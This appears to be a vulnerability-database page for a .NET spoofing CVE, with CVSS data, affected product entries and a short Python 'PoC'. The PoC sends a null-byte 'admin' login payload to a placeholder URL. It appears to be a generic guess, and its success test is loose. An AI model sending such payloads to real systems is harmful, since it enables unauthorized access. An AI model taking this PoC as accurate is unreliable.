Security Vulnerability Report
中文
CVE-2026-32178 CVSS 7.5 HIGH

CVE-2026-32178

Published: 2026-04-14 18:17:20
Last Modified: 2026-05-07 19:41:12

Description

Improper neutralization of special elements in .NET allows an unauthorized attacker to perform spoofing over a network.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:microsoft:.net:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:a:microsoft:.net:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:a:microsoft:.net:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:a:microsoft:visual_studio_2022:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:visual_studio_2022:*:*:*:*:*:*:*:* - VULNERABLE
.NET Framework (具体受影响版本请参考 Microsoft 安全公告)
.NET (具体受影响版本请参考 Microsoft 安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # PoC for CVE-2026-32178: .NET Spoofing via Improper Neutralization # This script attempts to send a payload with special characters to test for spoofing vulnerability. def check_vulnerability(target_url): headers = { "User-Agent": "CVE-2026-32178-Scanner", "Content-Type": "application/json" } # Payload attempting to inject special elements (e.g., null bytes or specific control chars) # that may not be neutralized by the .NET parser, leading to spoofing. payload = { "username": "admin\x00", "role": "administrator" } try: print(f"[+] Sending payload to {target_url}...") response = requests.post(target_url, json=payload, headers=headers, timeout=10) # Analyze response for signs of successful spoofing or information disclosure if response.status_code == 200 and ("admin" in response.text or "unauthorized" not in response.text.lower()): print(f"[!] Potential vulnerability detected! Server responded with 200 OK.") print(f"[!] Response snippet: {response.text[:200]}") else: print(f"[-] Target does not appear vulnerable or PoC failed.") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": target = "http://example.com/api/login" # Replace with actual target check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32178", "sourceIdentifier": "[email protected]", "published": "2026-04-14T18:17:20.260", "lastModified": "2026-05-07T19:41:12.257", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper neutralization of special elements in .NET allows an unauthorized attacker to perform spoofing over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-138"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:.net:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0", "versionEndExcluding": "10.0.6", "matchCriteriaId": "CD89D801-933E-4D78-9187-D2CA94370FA0"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:.net:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.26", "matchCriteriaId": "CB15ABFB-047C-4B69-BD19-68D3EFEDCB78"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:.net:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.0.15", "matchCriteriaId": "EB2D66A6-4F92-4AB0-A8F0-FCE4EC0BED1A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:visual_studio_2022:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.12.0", "versionEndExcluding": "17.12.19", "matchCriteriaId": "1D6BD3C9-DAAC-4A1D-8504-871EAA6374F7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:visual_studio_2022:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.14.0", "versionEndExcluding": "17.14.30", "matchCriteriaId": "C4E8314E-DF85-46D1-88D5-A551F73C780C"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32178", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}